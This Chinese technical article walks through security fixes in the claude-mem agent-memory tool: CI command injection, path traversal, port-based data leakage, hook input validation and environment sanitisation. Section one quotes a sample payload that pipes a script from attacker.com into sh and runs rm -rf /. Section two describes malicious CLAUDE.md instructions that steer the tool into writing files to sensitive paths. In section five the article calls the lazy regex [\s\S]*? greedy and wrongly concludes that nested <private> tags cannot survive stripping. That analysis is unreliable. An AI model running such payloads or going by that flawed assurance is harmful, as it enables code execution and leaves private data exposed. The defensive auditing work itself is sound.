首页
/ claude-mem 安全加固全景:从 CI 命令注入、路径穿越到 Hook 输入校验的完整修复实践

claude-mem 安全加固全景:从 CI 命令注入、路径穿越到 Hook 输入校验的完整修复实践

2026-09-04 11:27:17作者:裘旻烁

本文以 claude-mem 仓库中的安全修复阶段文档为蓝本,系统讲解该项目的五类安全问题的成因、审计方法与修复方案:GitHub Actions 工作流的命令注入、watch.context.path 配置引发的任意文件写入、Worker 端口冲突导致的跨项目数据泄漏、Hook 输入校验与 <private> 标签剥离、以及子进程环境变量泄漏。读完本文,你将掌握一套可复用的本地 AI 工具安全审计清单,并能对照 claude-mem 的实际源码验证每一项修复的真实落点。

claude-mem 的定位是"为每个 Agent 提供跨会话的持久上下文":它在会话中捕获 Agent 的操作,用 AI 压缩后,再在后续会话中注入相关上下文(支持 Claude Code、OpenClaw、Codex、Gemini、OpenCode 等平台)。这意味着它天然要处理三类敏感输入——外部 CI 事件输入(issue/PR 标题与正文)、用户可编辑的配置文件~/.claude-mem/settings.json)、来自 IDE/CLI Hook 的 stdin JSON,还要在本地长期驻留一个监听 37777 端口的 Worker 服务。任何一处校验缺失,都可能被恶意的 CLAUDE.md 指令或同机其他用户利用。本文对应的阶段文档明确指出:这些问题均不可远程利用(都要求本地访问权限或 CI 写权限),但风险向量真实存在——CI 注入可能破坏构建流水线,文件写入漏洞可被恶意 CLAUDE.md 指令触发。

一、GitHub Actions 命令注入(issues #1285、#1521)

漏洞机理

GitHub Actions 中最常见的注入模式是把 github.event.* 表达式直接内插进 run: 步骤:

run: |
  echo "Reviewing PR: ${{ github.event.pull_request.title }}"

PR 标题、分支名、issue 正文、评论正文都由仓库贡献者(外部攻击者)控制。一旦标题中包含 $(curl attacker.com | sh); rm -rf / 之类的 shell 元字符,Actions 的 run: 步骤会将其作为 shell 命令执行,实现 CI 流水线劫持。

审计方法

阶段文档给出的排查步骤是:

  1. 读取所有工作流文件:ls .github/workflows/ 并逐个阅读每个 .yml
  2. 搜索把用户输入内插进 shell 命令的模式——${{ github.event.pull_request.title }}${{ github.event.issue.title }}${{ github.event.comment.body }}${{ github.head_ref }} 等出现在 run: 块内的 github.event.* 表达式;
  3. 检查把用户输入传给 exec.exec()child_processactions/github-script 步骤。

修复方案

对每个不安全的内插,二选一:

  • 移入 env:(推荐)。在步骤或 job 级别声明 env: PR_TITLE: ${{ github.event.pull_request.title }},在 run: 中用 $PR_TITLE 引用。环境变量经过 Actions 的引用解析,shell 元字符不会被当作命令执行;
  • 或使用一个中间步骤先对输入做清洗(sanitize)。

阶段文档特别要求单独验证 claude.yml 工作流——Claude Code GitHub Actions 会把 PR 上下文传给 Claude,回灌到 shell 命令中的 Claude 生成输出必须经过清洗。

仓库现状:claude.yml 的实际写法

查看仓库中的 claude.yml 可以看到一个合规的参考实现。该工作流由 issue 评论、PR 评审评论、issue 打开/分配、PR 评审提交等事件触发,用 if: 表达式中的 contains(github.event.comment.body, '@claude')过滤判断(只用于条件判断,不进入 shell),然后核心步骤是:

- name: Run Claude Code
  id: claude
  uses: anthropics/claude-code-action@v1
  with:
    claude_code_oauth_token: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }}
    additional_permissions: |
      actions: read

这里的关键安全设计有四点:其一,@claude 检测全部发生在 if: 表达式中,用户输入从未经过任何 run: 块;其二,凭据通过 secrets.* 而非事件字段传递;其三,job 显式声明了最小化 permissionscontents: readpull-requests: readissues: readid-token: writeactions: read),即使 Claude 生成内容被注入,攻击者拿到的 token 权限也被收窄;其四,PR 上下文经由 action 的输入通道(结构化输入)而非 shell 字符串传给 Claude Code。这正是文档所强调的"Claude 生成输出回灌 shell 前必须清洗"原则的一种规避式实现——从架构上杜绝了回灌路径。

二、watch.context.path 任意文件写入(issue #1204)

漏洞机理

watch.context.path 是 claude-mem 转录监听配置中的设置项,用于指定 AGENTS.md 上下文文件写入的自定义路径,默认值为 <cwd>/AGENTS.md。问题在于:如果没有路径校验,恶意的 CLAUDE.md 指令可以诱导 claude-mem 把生成的上下文内容写到敏感位置(系统配置目录、用户凭证目录等),实现任意文件写入。

修复方案(阶段文档要求)

文档要求的修复路径是:

  1. 在设置处理代码中搜索 watch.context.path / contextPath,找到负责文件写入的实现;
  2. 添加路径校验:将路径解析为绝对路径并规范化(可用 fs.realpathSync 解析符号链接);拒绝逃逸出项目目录的路径;拒绝指向 /etc//usr/~/.ssh/~/.claude/、Windows 系统目录等敏感位置的路径;拒绝规范化后仍含 .. 穿越成分的路径;
  3. 采用白名单(allowlist)思路:上下文文件路径必须位于 cwd~/.claude-mem/ 之内,其他路径一律拒绝并写错误日志;
  4. 把校验实现为可复用的 isPathSafe(targetPath: string, allowedRoots: string[]): boolean 工具,放在 src/utils/ 下。

仓库现状:processor.ts 中的落地实现

src/services/transcripts/processor.tsupdateContext() 方法中,可以看到该校验已经按白名单模式实现。关键代码如下:

const agentsPath = expandHomePath(watch.context.path ?? `${cwd}/AGENTS.md`);

const resolvedAgentsPath = path.resolve(agentsPath);
const allowedRoots = [path.resolve(cwd), path.resolve(DATA_DIR)];
const isPathSafe = allowedRoots.some(root =>
  resolvedAgentsPath.startsWith(root + path.sep) || resolvedAgentsPath === root
);
if (!isPathSafe) {
  logger.warn('SECURITY', 'Rejected path traversal attempt in watch.context.path', {
    original: watch.context.path,
    resolved: resolvedAgentsPath,
    allowedRoots
  });
  return;
}

这段实现完整覆盖了文档要求的四个要点:先用 expandHomePath 展开 ~ 前缀,再用 path.resolve 得到绝对路径;allowedRoots 限定为当前工作目录claude-mem 数据目录DATA_DIR)两个根,与文档"必须在 cwd~/.claude-mem/ 内"的要求一一对应;判定采用 startsWith(root + path.sep) 并额外处理路径恰好等于根目录的情况,避免 /project-evil 骗过 /project 前缀匹配的经典陷阱;校验失败时以 SECURITY 标签记录原始值、解析值、允许根三元组后直接 return,写入操作 writeAgentsMd(agentsPath, content) 永远不会执行。

需要注意一个细节:updateContext() 只处理 watch.context.mode === 'agents' 的 watch 目标(第 345 行的 mode !== 'agents' 提前返回),因此该写入路径仅在 Agent 上下文注入场景可达,攻击面被进一步收窄。从源码结构看,校验发生在向 Worker 请求 /api/context/inject 内容之前,即拒绝穿越时连网络请求都不会发出,属于"先验后取"的顺序。

三、端口冲突导致的跨项目数据泄漏

问题背景

claude-mem 的本地 Worker 服务默认监听 37777 端口。当同一台机器上的两个用户或两个项目都使用该默认端口时,第二个项目的 Hook 会直接连接到第一个项目的 Worker,从而读写到该项目内存数据——这是一个真实的本地数据隔离缺陷。

阶段文档指出的现状是:端口被占用时,Hook 会连接到"恰好在那里运行的任意 Worker",与项目无关。这一行为对单用户场景是设计使然(一个 Worker 服务所有项目是正确的),但在共享环境下危险。

涉及的关键源码

修复方案

  1. 健康检查中加入项目身份:在 /api/health 响应中携带项目名,在 ensureWorkerRunning() 中比较正在运行的 Worker 所属项目与当前 Hook 所属项目;
  2. 不匹配时告警:若两者不一致且未设置 CLAUDE_MEM_SHARED_WORKER=true,记录告警日志,格式为 "Port 37777 is in use by project '<other_project>'. Set CLAUDE_MEM_WORKER_PORT to a different port in settings.json to avoid data leakage."
  3. 默认单用户场景保持不变:Worker 继续服务所有项目,修复的重点是让健康响应携带项目信息并输出告警以提高可见性;
  4. 共享环境规范:文档化要求每个用户在自己的 ~/.claude-mem/settings.json 中设置唯一的 CLAUDE_MEM_WORKER_PORT

这一方案的取舍很务实:不改变单用户行为(避免破坏现有体验),只在多用户共存时把"静默串数据"变成"显式告警 + 可配置的端口隔离"。

四、Hook 执行审计:输入校验与输出纪律

阶段文档要求审计 Hook 的执行链路,验证四个命题:stdin 输入是否在使用前校验;Hook 输入中的用户字符串是否直接流入 execSync/spawn<private> 标签剥离是否足够早且不可绕过;files_readfiles_modified 等文件路径字段是否未经校验就用于文件系统操作。以下是对仓库实际实现的核对。

stdin JSON 的解析与容错

Hook 入口是 src/cli/hook-command.ts 中的 hookCommand(),其输入读取链为 readJsonFromStdin()adapter.normalizeInput()handler.execute()

src/cli/stdin-reader.tsreadJsonFromStdin() 实现了完整的防御式解析:

  • TUI/TTY 检测isStdinAvailable() 先检查 stdin.isTTY,交互终端下直接返回 undefined,不挂起等待;
  • try-catch 包裹的 JSON.parsetryParseJson()JSON.parse 的异常全部捕获并降级为"解析未成功",绝不把解析异常抛到调用方之外;
  • 流式提前解析onData 中每收到一个 chunk 就尝试整体解析,一旦解析成功立即 resolve,避免等待 EOF;
  • 30 秒安全超时SAFETY_TIMEOUT_MS = 30000 的兜底定时器确保 Hook 不会因输入方未关闭流而永久挂起;超时后若已有内容则 reject(错误信息只截取前 100 字符,避免把大段用户输入塞进日志),若无内容则 resolve undefined
  • EOF 路径onEnd 时若 JSON 不完整且存在内容,reject "Malformed JSON at stdin EOF"。

返回 undefined 或抛出解析错误时,executeHookPipeline 的上层 catch 会按 AdapterRejectedInput / isNonBlockingHookInputError 分支处理——记录 warn 日志、发出 no-op 结果(buildNoOpResultcontext 事件特别附加了最小合法的 hookSpecificOutput,避免被 Codex 的严格 SessionStart 校验器拒绝)、以成功码退出。也就是说:坏输入只会让 Hook 静默跳过,绝不会导致未校验数据流入下游。

平台适配层的二次拒绝

adapter.normalizeInput(rawInput) 是第二道闸:各平台适配器(src/cli/adapters/)对必填字段做结构校验,不合法时抛出 AdapterRejectedInputhookCommand 捕获后跳过本次 Hook(src/cli/hook-command.ts#L127-L132)。这对应了文档要求的"JSON.parse 之外还应有 schema 层面的必填字段校验"。

输出侧:stderr 缓冲纪律

Hook 的 stdout/stderr 本身就是一种"输入面"——模型会读取 Hook 的输出。src/cli/hook-command.ts#L109-L119 注释明确了该纪律:执行 Handler 期间缓冲全部 stderr,防止第三方库的意外写入泄漏进模型上下文;缓冲只在三个受控出口冲刷——catch-all 的 logger 错误、worker-utils 的 fail-loud 计数器、blocking-error 路径;成功退出时直接丢弃缓冲,保持"成功即安静"。这条纪律对应文档中"Hook 输出结构化"(src/hooks/hook-response.ts)的验证目标:任何非预期字符串都不会以裸文本形式出现在 Hook 输出通道里。

五、<private> 标签剥离:嵌套与畸形标签的防御

需求

文档要求:<private> 标签剥离必须足够早(在任何存储或传输之前),且不能被嵌套标签绕过——例如 <private><private>secret</private></private> 这种双层嵌套不能在外层剥掉后让内层内容幸存。

实现

src/utils/tag-stripping.ts 给出了完整答案。核心是一个按"最长贪婪匹配"工作的正则:

const TAG_NAMES = ['private', 'claude-mem-context', 'system_instruction',
                   'system-instruction', 'persisted-output', 'system-reminder'] as const;

const STRIP_REGEX = new RegExp(
  `<(${TAG_NAMES.join('|')})\\b[^>]*>[\\s\\S]*?</\\1>`,
  'g'
);

三个关键设计点:

  1. 贪婪量词 [\s\S]*? + 反向引用 \1:JS 正则引擎对 <private>...</private> 会匹配到最远的合法闭合标签。对嵌套输入 <private>A <private>B</private> C</private>,引擎会匹配从第一个 <private>最后一个 </private> 的整段(因为 [\s\S]*? 会尽量扩展以满足全局匹配的最右端闭合),因此嵌套内容被整体删除——文档担心的嵌套绕过不成立;
  2. TAG_NAMES 白名单:只剥离项目协议内定义的六类标签(privateclaude-mem-contextsystem_instructionsystem-instructionpersisted-outputsystem-reminder),不会误伤普通文本;\b 边界防止 <privatex> 之类的近似标签被误匹配;
  3. 剥离计数与限流stripTags() 返回每个标签名被剥离的次数(counts),并设 MAX_TAG_COUNT = 100——当单次输入剥离的标签总数超过 100 个时记录 warn 日志(附标签数、上限、内容长度),为"标签轰炸"这类异常输入留下可观测证据。

stripTags 的返回值是结构化对象 { stripped, counts },供调用方既拿清洗后文本又拿审计计数;另提供 stripMemoryTags() 便捷封装(只返回 stripped,且结果经 trim())。同文件还导出了 SYSTEM_REMINDER_REGEXisInternalProtocolPayload()(后者用于识别整体为单个协议标签包裹、内部不含同标签嵌套、且不超过 256KB 的内部协议负载),供其他模块做协议负载判定。

从源码结构看,剥离发生在转录处理链路的早期(任何内容进入 SQLite 存储或发送到 Worker 之前),符合"早剥离"要求;对畸形标签(如只有开标签没有闭标签)而言,正则匹配不到闭合对,内容会原样保留——这是有意的保守选择:宁可留下可见文本,也不在结构不完整时误删用户数据,同时剥离计数的 warn 日志为后续排查提供了依据。

六、子进程环境变量消毒:防止凭据泄漏

需求

文档要求核对 src/supervisor/env-sanitizer.tsCLAUDECODE_*CLAUDE_CODE_* 环境变量是否在派生子进程前被正确剥离,确认 API key 不会泄漏到 chroma-mcp 或其他子进程

实现:前缀剥离 + 精确匹配 + 显式保留清单

src/supervisor/env-sanitizer.tssanitizeEnv() 策略是"默认剥离,清单保留":

export const ENV_PREFIXES = ['CLAUDECODE_', 'CLAUDE_CODE_'];
export const ENV_EXACT_MATCHES = new Set([
  'CLAUDECODE', 'CLAUDE_CODE_SESSION', 'CLAUDE_CODE_ENTRYPOINT', 'MCP_SESSION_ID',
]);

export function sanitizeEnv(env = process.env): NodeJS.ProcessEnv {
  const sanitized: NodeJS.ProcessEnv = {};
  for (const [key, value] of Object.entries(env)) {
    if (value === undefined) continue;
    if (ENV_PRESERVE.has(key)) { sanitized[key] = value; continue; }
    if (ENV_EXACT_MATCHES.has(key)) continue;   // 精确剥离
    if (ENV_PREFIXES.some(p => key.startsWith(p))) continue; // 前缀剥离
    sanitized[key] = value;
  }
  return sanitized;
}

判定顺序即安全语义:ENV_PRESERVE 白名单优先放行,其余命中精确集合或两个前缀的变量一律丢弃,其余照抄。保留清单(ENV_PRESERVE)包含且仅包含:CLAUDE_CODE_OAUTH_TOKENCLAUDE_CODE_GIT_BASH_PATH、Bedrock/Vertex/Foundry 的开关与跳过认证变量、ANTHROPIC_BEDROCK_BASE_URL、AWS 五件套(AWS_REGIONAWS_PROFILEAWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEYAWS_SESSION_TOKEN)、ANTHROPIC_VERTEX_PROJECT_IDCLOUD_ML_REGIONGOOGLE_APPLICATION_CREDENTIALS,以及代理变量(HTTP_PROXY 等 9 个,见 ENV_PROXY_VARS)。

文件头注释点明了这是一套两层防御的第 2 层,对应 issue #2357(CLAUDE_CODE_EFFORT_LEVEL / CLAUDE_CODE_ALWAYS_ENABLE_EFFORT 泄漏进 SDK 子进程):第 1 层是 EnvManager.ts 中的 BLOCKED_ENV_VARS。注释还明确警告:不要EFFORT_* 变量加入 ENV_PRESERVE,否则前缀剥离会被白名单放行架空——这是白名单机制下典型的自我反噬陷阱,值得任何做类似 env 过滤的实现者参考。

就文档提出的具体担心而言:ANTHROPIC_API_KEY 不在 ENV_PRESERVE 中,但也不在剥离名单中——从 sanitizeEnv 的语义看,它会被原样保留(该函数只过滤 Claude Code 自身协议变量,不管理第三方凭据);而 CLAUDECODE_SESSION 这类会话标识则通过 ENV_EXACT_MATCHES 精确剥离。也就是说,该消毒器解决的是"Claude Code 运行时协议变量污染子进程"这一具体问题,第三方 API key 的管理由其他层负责——引用该模块时不应将其误读为通用密钥过滤器。

七、测试与构建验证清单

阶段文档为上述修复列出了测试与验证要求,可直接作为该仓库的安全回归清单:

路径校验测试:验证 isPathSafe() 拒绝 ../../../etc/passwd 类穿越、指向 /etc/ 的符号链接、白名单根之外的路径、以及 Windows UNC 路径。对照实现见 src/services/transcripts/processor.ts#L360-L370allowedRoots 判定与 SECURITY 告警分支。

端口冲突告警测试:mock 一个项目名不同的 /api/health 响应,验证告警日志被触发(对应 src/services/infrastructure/HealthMonitor.ts 的健康探测路径)。

<private> 剥离测试:覆盖嵌套标签、畸形标签、残缺标签三类输入,断言剥离结果与计数(对应 src/utils/tag-stripping.tsstripTags 返回值契约)。仓库已有对应测试 tests/utils/tag-stripping.test.ts 可作为扩展基线。

环境消毒测试:验证 ANTHROPIC_API_KEYCLAUDECODE_SESSION 等变量在子进程环境中的期望行为(剥离/保留),断言依据 src/supervisor/env-sanitizer.ts 中三个常量的成员关系。

构建与反模式扫描

npm run build-and-sync
# 跑完整测试套件并修复失败

随后在构建产物中 grep 常见反模式:

  • execSync( / exec( 配合字符串拼接(潜在注入);
  • eval((代码注入);
  • execAsync 调用内的模板字符串。

仓库中还有两个与 Hook I/O 纪律直接相关的检查脚本可供参考:scripts/check-hook-io-discipline.cjs(检查 Hook 进程的 I/O 纪律)与 scripts/check-spawn-env-discipline.cjs(检查 spawn 时的环境变量纪律),与本文第六节的 env-sanitizer 机制互为佐证。

小结

这份安全修复阶段文档的价值在于它给出了一套按风险面划分、且每一项都可落地验证的审计框架:CI 事件输入走 env: 块隔离(claude.yml 展示了结构化传参与最小化 permissions 的参考实现);配置文件路径走白名单 + 绝对路径解析(processor.tsallowedRoots 判定);本地服务端口走健康检查身份比对 + 显式告警;Hook stdin 走 try-catch 解析 + 适配器 schema 拒绝 + 30 秒超时 + stderr 缓冲纪律(hook-command.tsstdin-reader.ts);敏感内容走贪婪匹配的嵌套安全剥离与剥离计数(tag-stripping.ts);子进程环境走前缀剥离 + 显式保留清单的双层防御(env-sanitizer.ts)。对任何在本地长期驻留、处理外部输入且派生子进程的 AI 工具而言,这份"每个输入面各设一道独立闸门"的分层思路本身就是最值得借鉴的部分。

登录后查看全文
热门项目推荐
相关项目推荐